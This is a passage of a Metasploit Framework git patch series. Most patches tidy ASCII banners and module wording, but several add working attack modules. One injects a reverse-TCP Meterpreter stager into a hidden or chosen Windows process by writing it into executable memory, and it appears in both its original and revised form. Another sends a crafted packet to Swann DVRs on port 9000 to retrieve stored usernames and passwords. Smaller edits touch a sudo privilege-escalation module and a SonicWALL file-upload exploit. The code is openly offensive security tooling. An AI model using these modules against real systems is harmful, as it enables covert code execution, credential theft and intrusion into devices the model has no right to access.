, / \ ((__---,,,---__)) diff --git a/lib/msf/ui/logos/cowsay.txt b/lib/msf/ui/logos/cowsay.txt index 7b34488352..dbe42d87ac 100644 --- a/lib/msf/ui/logos/cowsay.txt +++ b/lib/msf/ui/logos/cowsay.txt @@ -1,4 +1,3 @@ - # cowsay++ ____________ < metasploit > diff --git a/lib/msf/ui/logos/missile-command.txt b/lib/msf/ui/logos/missile-command.txt index aedd604711..a8a0a1d14f 100644 --- a/lib/msf/ui/logos/missile-command.txt +++ b/lib/msf/ui/logos/missile-command.txt @@ -27,5 +27,6 @@ ################################################################################ # %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # ################################################################################ - http://metasploit.pro + http://metasploit.pro %clr + diff --git a/lib/msf/ui/logos/ninja.txt b/lib/msf/ui/logos/ninja.txt index 9bc984822b..3404d7174b 100644 --- a/lib/msf/ui/logos/ninja.txt +++ b/lib/msf/ui/logos/ninja.txt @@ -27,7 +27,6 @@ # # ### # # ## ######################## ## ## ## ## - - http://metasploit.pro + http://metasploit.pro %clr diff --git a/lib/msf/ui/logos/null-pointer-deref.txt b/lib/msf/ui/logos/null-pointer-deref.txt index 9a9c1fa0bb..dcf58a6db4 100644 --- a/lib/msf/ui/logos/null-pointer-deref.txt +++ b/lib/msf/ui/logos/null-pointer-deref.txt @@ -36,3 +36,4 @@ Aiee, Killing Interrupt handler %redKernel panic: Attempted to kill the idle task! In swapper task - not syncing %clr + From d3549823458e143917b09c028af4ddcda36fadd0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <todb@metasploit.com> Date: Fri, 18 Jan 2013 22:41:44 -0600 Subject: [PATCH 42/87] Fix grammar on description for webcam --- modules/post/windows/manage/webcam.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb index 6b838d04aa..aab47587c3 100644 --- a/modules/post/windows/manage/webcam.rb +++ b/modules/post/windows/manage/webcam.rb @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => 'Windows Manage Webcam', 'Description' => %q{ - This module will allow you to these things with your target's webcam: detect, - take a snapshot. + This module will allow the user to detect installed webcams (with + the LIST action) or take a snapshot (with the SNAPSHOT) action. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], @@ -132,4 +132,5 @@ class Metasploit3 < Msf::Post return webcams end -end \ No newline at end of file +end + From e93b7ffcaf43ef5344ea24aab76ef2c11148a0f8 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 14:07:48 -0600 Subject: [PATCH 43/87] Add Carlos Perez's payload injection module See #1201 --- .../exploits/windows/local/payload_inject.rb | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 modules/exploits/windows/local/payload_inject.rb diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb new file mode 100644 index 0000000000..73bb94aa45 --- /dev/null +++ b/modules/exploits/windows/local/payload_inject.rb @@ -0,0 +1,127 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Memory Payload Injection Module', + 'Description' => %q{ + This module will inject into the memory of a process a specified windows payload. + If a payload or process is not provided one will be created by default + using a reverse x86 TCP Meterpreter Payload. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Perez <carlos_perez[at]darkoperator.com>' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> "Oct 12 2011" + )) + + register_options( + [ + OptInt.new('PID', + [false, 'Process Identifier to inject of process to inject payload.']) + ], self.class) + end + + # Run Method for when run command is issued + def exploit + # syinfo is only on meterpreter sessions + print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? + + pid = datastore['PID'] + + if pid == 0 + pid = create_temp_proc() + end + + if payload.send(:pinst).arch.first =~ /64/ and client.platform =~ /x86/ + print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") + print_error("Migrate to an x64 process and try again.") + return false + else + inject_into_pid(pid,datastore['NEWPROCESS']) + end + end + + # Checks the Architeture of a Payload and PID are compatible + # Returns true if they are false if they are not + def arch_check(pid) + # get the pid arch + client.sys.process.processes.each do |p| + # Check Payload Arch + if pid == p["pid"] + print_status("Process found checking Architecture") + if payload.send(:pinst).arch.first == p['arch'] + print_good("Process is the same architecture as the payload") + return true + else + print_error("The PID #{ p['arch']} and Payload #{payload.send(:pinst).arch.first} architectures are different.") + return false + end + end + end + end + + # Creates a temp notepad.exe to inject payload in to given the payload + # Returns process PID + def create_temp_proc() + windir = client.fs.file.expand_path("%windir%") + # Select path of executable to run depending the architecture + if payload.send(:pinst).arch.first== "x86" and client.platform =~ /x86/ + cmd = "#{windir}\\System32\\notepad.exe" + elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x64/ + cmd = "#{windir}\\System32\\notepad.exe" + elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x86/ + cmd = "#{windir}\\Sysnative\\notepad.exe" + elsif payload.send(:pinst).arch.first == "x86" and client.platform =~ /x64/ + cmd = "#{windir}\\SysWOW64\\notepad.exe" + end + # run hidden + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + return proc.pid + end + + def inject_into_pid(pid,newproc) + print_status("Performing Architecture Check") + # If architecture check fails and a new process is wished to inject to one with the proper arch + # will be created + if arch_check(pid) + pid = create_temp_proc() if newproc + print_status("Injecting #{payload.send(:pinst).name} into process ID #{pid}") + begin + print_status("Opening process #{pid}") + host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) + print_status("Generating payload") + raw = payload.generate + print_status("Allocating memory in procees #{pid}") + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + # Ensure memory is set for execution + host_process.memory.protect(mem) + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_good("Successfully injected payload in to process: #{pid}") + rescue ::Exception => e + print_error("Failed to Inject Payload to #{pid}!") + print_error(e.to_s) + end + end + end +end \ No newline at end of file From 40dcbe0e89df2bbaacab460a21edf00b2714b582 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <todb@metasploit.com> Date: Wed, 23 Jan 2013 14:16:46 -0600 Subject: [PATCH 44/87] Fix escaping, whitespace Since banners are now just data and not code, they don't need their backslashes escaped any more. --- lib/msf/ui/logos/cow-head.txt | 4 ++-- lib/msf/ui/logos/missile-command.txt | 4 +--- lib/msf/ui/logos/null-pointer-deref.txt | 4 +--- lib/msf/ui/logos/wake-up-neo.txt | 2 +- lib/msf/ui/logos/workflow.txt | 21 ++++++++++----------- 5 files changed, 15 insertions(+), 20 deletions(-) diff --git a/lib/msf/ui/logos/cow-head.txt b/lib/msf/ui/logos/cow-head.txt index 16ed1021d6..479ea81822 100644 --- a/lib/msf/ui/logos/cow-head.txt +++ b/lib/msf/ui/logos/cow-head.txt @@ -11,7 +11,7 @@ ' @@@ @@ @@ , `.@@@@ @@ . ',@@ @ ; _____________ - ( 3 C ) /|___ / Metasploit! \\ - ;@'. __*__,." \\|--- \\_____________/ + ( 3 C ) /|___ / Metasploit! \ + ;@'. __*__,." \|--- \_____________/ '(.,...."/ %clr diff --git a/lib/msf/ui/logos/missile-command.txt b/lib/msf/ui/logos/missile-command.txt index a8a0a1d14f..5192490da2 100644 --- a/lib/msf/ui/logos/missile-command.txt +++ b/lib/msf/ui/logos/missile-command.txt @@ -27,6 +27,4 @@ ################################################################################ # %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # ################################################################################ - http://metasploit.pro -%clr - + http://metasploit.pro%clr diff --git a/lib/msf/ui/logos/null-pointer-deref.txt b/lib/msf/ui/logos/null-pointer-deref.txt index dcf58a6db4..38a532b541 100644 --- a/lib/msf/ui/logos/null-pointer-deref.txt +++ b/lib/msf/ui/logos/null-pointer-deref.txt @@ -34,6 +34,4 @@ Stack: 90909090990909090990909090 %yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr Aiee, Killing Interrupt handler %redKernel panic: Attempted to kill the idle task! -In swapper task - not syncing -%clr - +In swapper task - not syncing%clr diff --git a/lib/msf/ui/logos/wake-up-neo.txt b/lib/msf/ui/logos/wake-up-neo.txt index 2f9fd96793..1ee1779557 100644 --- a/lib/msf/ui/logos/wake-up-neo.txt +++ b/lib/msf/ui/logos/wake-up-neo.txt @@ -15,7 +15,7 @@ .-;--''--.._` ` ( .' / ` , ` ' Q ' - , , `._ \\ + , , `._ \ ,.| ' `-.;_' : . ` ; ` ` --,.._; ' ` , ) .' diff --git a/lib/msf/ui/logos/workflow.txt b/lib/msf/ui/logos/workflow.txt index 1437bb8eed..a470eebd24 100644 --- a/lib/msf/ui/logos/workflow.txt +++ b/lib/msf/ui/logos/workflow.txt @@ -2,21 +2,20 @@ %whi| METASPLOIT by Rapid7 | %whi+---------------------------+---------------------------+ %whi| %blu__________________ %whi| | - %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======\[%red*** %whi| - %whi| %blu)%yel=%blu\\\ %whi| %grn| %whiEXPLOIT %grn\\ %whi| - %whi| %blu// \\\\ %whi| %grn|_____________\\_______ %whi| - %whi| %blu// \\\\ %whi| %grn|==\[%whimsf >%grn\]============\\ %whi| - %whi| %blu// \\\\ %whi| %grn|______________________\\ %whi| - %whi| %blu// %whiRECON %blu\\\\ %whi| %grn\\(@)(@)(@)(@)(@)(@)(@)/ %whi| - %whi| %blu// \\\\ %whi| %grn********************* %whi| + %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======[%red*** %whi| + %whi| %blu)%yel=%blu\ %whi| %grn| %whiEXPLOIT %grn\ %whi| + %whi| %blu// \\ %whi| %grn|_____________\_______ %whi| + %whi| %blu// \\ %whi| %grn|==[%whimsf >%grn]============\ %whi| + %whi| %blu// \\ %whi| %grn|______________________\ %whi| + %whi| %blu// %whiRECON %blu\\ %whi| %grn\(@)(@)(@)(@)(@)(@)(@)/ %whi| + %whi| %blu// \\ %whi| %grn********************* %whi| %whi+---------------------------+---------------------------+ - %whi| o O o | %yel\\'\\/\\/\\/'/ %whi| + %whi| o O o | %yel\'\/\/\/'/ %whi| %whi| o O | %yel)%whi======%yel( %whi| %whi| o | %yel.' %whiLOOT %yel'. %whi| - %whi| %red|^^^^^^^^^^^^^^\|l%red___ %whi| %yel/ %grn_||__ %yel\\ %whi| - %whi| %red| %whiPAYLOAD %red|%whi""\\%red___, %whi| %yel/ %grn(_||_ %yel\\ %whi| + %whi| %red|^^^^^^^^^^^^^^|l%red___ %whi| %yel/ %grn_||__ %yel\ %whi| + %whi| %red| %whiPAYLOAD %red|%whi""\%red___, %whi| %yel/ %grn(_||_ %yel\ %whi| %whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi| %whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi| %whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi| %whi+---------------------------+---------------------------+%clr - %clr From d0382b68c71165b0c6680f039ba3200870546939 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <todb@metasploit.com> Date: Wed, 23 Jan 2013 14:18:40 -0600 Subject: [PATCH 45/87] One more backslash --- lib/msf/ui/logos/figlet.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/logos/figlet.txt b/lib/msf/ui/logos/figlet.txt index 1567ea1774..edabcbeba2 100644 --- a/lib/msf/ui/logos/figlet.txt +++ b/lib/msf/ui/logos/figlet.txt @@ -3,5 +3,5 @@ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ - |/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\ + |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ From e9205945341234b3f65b4e6456cb916892de42f0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <todb@metasploit.com> Date: Wed, 23 Jan 2013 14:23:38 -0600 Subject: [PATCH 46/87] Whitespace cleanup, no blank lines plz --- lib/msf/ui/logos/3kom-superhack.txt | 3 +-- lib/msf/ui/logos/cow-head.txt | 3 +-- lib/msf/ui/logos/cowsay.txt | 1 - lib/msf/ui/logos/figlet.txt | 1 - lib/msf/ui/logos/i-heart-shells.txt | 1 - lib/msf/ui/logos/ninja.txt | 4 +--- 6 files changed, 3 insertions(+), 10 deletions(-) diff --git a/lib/msf/ui/logos/3kom-superhack.txt b/lib/msf/ui/logos/3kom-superhack.txt index 4d1123f354..e1fda38981 100644 --- a/lib/msf/ui/logos/3kom-superhack.txt +++ b/lib/msf/ui/logos/3kom-superhack.txt @@ -16,5 +16,4 @@ |______________________________________________________________________________| | | | http://metasploit.pro | -|______________________________________________________________________________| -%clr +|______________________________________________________________________________|%clr diff --git a/lib/msf/ui/logos/cow-head.txt b/lib/msf/ui/logos/cow-head.txt index 479ea81822..d7746ac219 100644 --- a/lib/msf/ui/logos/cow-head.txt +++ b/lib/msf/ui/logos/cow-head.txt @@ -13,5 +13,4 @@ ',@@ @ ; _____________ ( 3 C ) /|___ / Metasploit! \ ;@'. __*__,." \|--- \_____________/ - '(.,...."/ -%clr + '(.,...."/%clr diff --git a/lib/msf/ui/logos/cowsay.txt b/lib/msf/ui/logos/cowsay.txt index dbe42d87ac..15512d4556 100644 --- a/lib/msf/ui/logos/cowsay.txt +++ b/lib/msf/ui/logos/cowsay.txt @@ -6,4 +6,3 @@ \ (oo)____ (__) )\ ||--|| * - diff --git a/lib/msf/ui/logos/figlet.txt b/lib/msf/ui/logos/figlet.txt index edabcbeba2..972e7363c0 100644 --- a/lib/msf/ui/logos/figlet.txt +++ b/lib/msf/ui/logos/figlet.txt @@ -4,4 +4,3 @@ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ - diff --git a/lib/msf/ui/logos/i-heart-shells.txt b/lib/msf/ui/logos/i-heart-shells.txt index aeaff31aaa..5c1c64dd89 100644 --- a/lib/msf/ui/logos/i-heart-shells.txt +++ b/lib/msf/ui/logos/i-heart-shells.txt @@ -6,4 +6,3 @@ %whiIIIIII %red'YvP'%clr `-.__|__.-' I love shells --egypt - diff --git a/lib/msf/ui/logos/ninja.txt b/lib/msf/ui/logos/ninja.txt index 3404d7174b..70a5317a24 100644 --- a/lib/msf/ui/logos/ninja.txt +++ b/lib/msf/ui/logos/ninja.txt @@ -27,6 +27,4 @@ # # ### # # ## ######################## ## ## ## ## - http://metasploit.pro -%clr - + http://metasploit.pro%clr From 3b65f31d956f5e54e364df865871b43de4d064fd Mon Sep 17 00:00:00 2001 From: lmercer <lmercer@mit.edu> Date: Wed, 23 Jan 2013 15:23:40 -0500 Subject: [PATCH 47/87] post/multi/manage/sudo improved with the PASSWORD option as described in Redmine Feature #7581 --- modules/post/multi/manage/sudo.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index e2e1273030..8b7b2f672f 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -30,7 +30,9 @@ class Metasploit3 < Msf::Post versions from 2008 and later which support -A. }, 'License' => MSF_LICENSE, - 'Author' => [ 'todb <todb[at]metasploit.com>'], + 'Author' => [ 'todb <todb[at]metasploit.com>', + 'Ryan Baxendale <rbaxendale[at]gmail.com>' #added password option + ], 'Platform' => [ 'linux','unix','osx','solaris','aix' ], 'References' => [ @@ -39,6 +41,11 @@ class Metasploit3 < Msf::Post ], 'SessionTypes' => [ 'shell' ] # Need to test 'meterpreter' )) + + register_options( + [ + OptString.new('PASSWORD', [false, 'The password to use when running sudo.']) + ], self.class) end # Run Method for when run command is issued @@ -57,7 +64,12 @@ class Metasploit3 < Msf::Post end def get_root - password = session.exploit_datastore['PASSWORD'] + if datastore['PASSWORD'] + password = datastore['PASSWORD'] + else + password = session.exploit_datastore['PASSWORD'] + end + if password.to_s.empty? print_status "No password available, trying a passwordless sudo." else From cfde24785c771cb64206e55a5712c1dcb9e256a6 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 23 Jan 2013 14:23:58 -0600 Subject: [PATCH 48/87] Adds a password grabber module for Swann DVRs --- .../scanner/misc/swann_dvr_passwords.rb | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 modules/auxiliary/scanner/misc/swann_dvr_passwords.rb diff --git a/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb b/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb new file mode 100644 index 0000000000..45f4eab660 --- /dev/null +++ b/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb @@ -0,0 +1,112 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Swann DVR Password Retriever', + 'Description' => %q{ + This module takes advantage of a protocol design issue with the + Swann DVR systems. It is possible to retrieve the username and + password through the TCP service running on port 9000. Other + brand DVRs with the same issue may include Lorex, Night Owl, Zmodo + URMET, nad KGuard Security. + }, + 'Author' => + [ + 'someluser', # Python script + 'hdm', # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ] + ], + 'License' => MSF_LICENSE + ) + + register_options( [ Opt::RPORT(9000) ], self.class) + end + + def run_host(ip) + req = + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" + + ( "\x00" * 475 ) + + connect + sock.put(req) + + buf = "" + begin + # Pull data until the socket closes or we time out + Timeout.timeout(15) do + loop do + res = sock.get_once(-1, 1) + buf << res if res + end + end + rescue ::Timeout::Error + rescue ::EOFError + end + + disconnect + + info = "" + mac = nil + ver = nil + + creds = {} + + buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred| + # Make sure the two passwords match + next unless cred[1] == cred[2] + creds[cred[0]] = cred[1] + end + + if creds.keys.length > 0 + creds.keys.sort.each do |user| + pass = creds[user] + report_auth_info({ + :host => rhost, + :port => rport, + :sname => 'dvr', + :duplicate_ok => false, + :user => user, + :pass => pass + }) + info << "(user='#{user}' pass='#{pass}') " + end + end + + # Look for MAC address + if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi + mac = $1 + end + + # Look for version + if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m + ver = $1 + end + + info << "mac=#{mac} " if mac + info << "version=#{ver} " if ver + + return unless (creds.keys.length > 0 or mac or ver) + + report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info) + print_good("#{rhost}:#{rport} #{info}") + end + +end From 22f76198927508e26fc5652e5bff490caa4431c1 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 16:15:14 -0600 Subject: [PATCH 49/87] Improve Carlos' payload injection module - See #1201 Lots of changes, mainly: * Description update * Avoid accessing protected methods * More careful exception & return value handling --- .../exploits/windows/local/payload_inject.rb | 115 +++++++++++------- 1 file changed, 70 insertions(+), 45 deletions(-) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 73bb94aa45..268b13a02b 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection Module', 'Description' => %q{ - This module will inject into the memory of a process a specified windows payload. - If a payload or process is not provided one will be created by default - using a reverse x86 TCP Meterpreter Payload. + This module will inject a payload into memory of a process. If a payload + isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID + datastore option isn't specified, then it'll inject into notepad.exe instead. }, 'License' => MSF_LICENSE, 'Author' => @@ -34,31 +34,45 @@ class Metasploit3 < Msf::Exploit::Local register_options( [ - OptInt.new('PID', - [false, 'Process Identifier to inject of process to inject payload.']) + OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), + OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false]) ], self.class) end # Run Method for when run command is issued def exploit + @payload_name = datastore['PAYLOAD'] + @payload_arch = framework.payloads.create(@payload_name).arch + # syinfo is only on meterpreter sessions print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? - pid = datastore['PID'] - - if pid == 0 - pid = create_temp_proc() + pid = get_pid + if not pid + print_error("Unable to get a proper PID") + return end - if payload.send(:pinst).arch.first =~ /64/ and client.platform =~ /x86/ + if @payload_arch.first =~ /64/ and client.platform =~ /x86/ print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") print_error("Migrate to an x64 process and try again.") return false else - inject_into_pid(pid,datastore['NEWPROCESS']) + inject_into_pid(pid) end end + # Figures out which PID to inject to + def get_pid + pid = datastore['PID'] + if pid == 0 or datastore['NEWPROCESS'] + print_status("Launching notepad.exe...") + pid = create_temp_proc + end + + return pid + end + # Checks the Architeture of a Payload and PID are compatible # Returns true if they are false if they are not def arch_check(pid) @@ -66,12 +80,12 @@ class Metasploit3 < Msf::Exploit::Local client.sys.process.processes.each do |p| # Check Payload Arch if pid == p["pid"] - print_status("Process found checking Architecture") - if payload.send(:pinst).arch.first == p['arch'] - print_good("Process is the same architecture as the payload") + vprint_status("Process found checking Architecture") + if @payload_arch.first == p['arch'] + vprint_good("Process is the same architecture as the payload") return true else - print_error("The PID #{ p['arch']} and Payload #{payload.send(:pinst).arch.first} architectures are different.") + print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.") return false end end @@ -83,45 +97,56 @@ class Metasploit3 < Msf::Exploit::Local def create_temp_proc() windir = client.fs.file.expand_path("%windir%") # Select path of executable to run depending the architecture - if payload.send(:pinst).arch.first== "x86" and client.platform =~ /x86/ + if @payload_arch.first== "x86" and client.platform =~ /x86/ cmd = "#{windir}\\System32\\notepad.exe" - elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x64/ + elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/ cmd = "#{windir}\\System32\\notepad.exe" - elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x86/ + elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/ cmd = "#{windir}\\Sysnative\\notepad.exe" - elsif payload.send(:pinst).arch.first == "x86" and client.platform =~ /x64/ + elsif @payload_arch.first == "x86" and client.platform =~ /x64/ cmd = "#{windir}\\SysWOW64\\notepad.exe" end - # run hidden - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + + begin + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + rescue Rex::Post::Meterpreter::RequestError + return nil + end + return proc.pid end - def inject_into_pid(pid,newproc) - print_status("Performing Architecture Check") - # If architecture check fails and a new process is wished to inject to one with the proper arch - # will be created - if arch_check(pid) - pid = create_temp_proc() if newproc - print_status("Injecting #{payload.send(:pinst).name} into process ID #{pid}") - begin - print_status("Opening process #{pid}") - host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - print_status("Generating payload") - raw = payload.generate - print_status("Allocating memory in procees #{pid}") - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - # Ensure memory is set for execution - host_process.memory.protect(mem) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected payload in to process: #{pid}") - rescue ::Exception => e - print_error("Failed to Inject Payload to #{pid}!") - print_error(e.to_s) + def inject_into_pid(pid) + vprint_status("Performing Architecture Check") + return if not arch_check(pid) + + begin + print_status("Preparing '#{@payload_name}' for PID #{pid}") + raw = payload.generate + + print_status("Opening process #{pid.to_s}") + host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) + if not host_process + print_error("Unable to open #{pid.to_s}") + return end + + print_status("Allocating memory in procees #{pid}") + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + + # Ensure memory is set for execution + host_process.memory.protect(mem) + + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_good("Successfully injected payload in to process: #{pid}") + + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Unable to inject payload:") + print_line(e.to_s) end end + end \ No newline at end of file From ad108900d5e3263a19ab6dad36d11b845ca76c5c Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 16:23:41 -0600 Subject: [PATCH 50/87] Why yes I know it's a module --- modules/exploits/windows/local/payload_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 268b13a02b..cc4efe8182 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage Memory Payload Injection Module', + 'Name' => 'Windows Manage Memory Payload Injection', 'Description' => %q{ This module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID From 3418457b9aca9f7d3885d18cb1f52e6c0d992c5f Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 16:29:25 -0600 Subject: [PATCH 51/87] Small changes (extra comma + typo) --- modules/auxiliary/scanner/misc/swann_dvr_passwords.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb b/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb index 45f4eab660..559e439b6a 100644 --- a/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb @@ -22,12 +22,12 @@ class Metasploit3 < Msf::Auxiliary Swann DVR systems. It is possible to retrieve the username and password through the TCP service running on port 9000. Other brand DVRs with the same issue may include Lorex, Night Owl, Zmodo - URMET, nad KGuard Security. + URMET, and KGuard Security. }, 'Author' => [ 'someluser', # Python script - 'hdm', # Metasploit module + 'hdm' # Metasploit module ], 'References' => [ From 53599e4c4509c47794056cfa0ca681a1c22518af Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 16:32:57 -0600 Subject: [PATCH 52/87] It's better to have a version # in the title, easier to find --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index f786338546..9dace48321 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SonicWALL GMS Arbitrary File Upload', + 'Name' => 'SonicWALL GMS 6 Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in SonicWALL GMS. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the From 9c3e9f798f13d809ce1e3749a4e3a3db2e29eb60 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 16:39:24 -0600 Subject: [PATCH 53/87] Lower the ranking, because it cannot auto-target. When it's excellent, Pro will fire this first, and that will only generate more traffic than actually popping a shell. --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 9dace48321..d0b10798ce 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking HttpFingerprint = { :pattern => [ 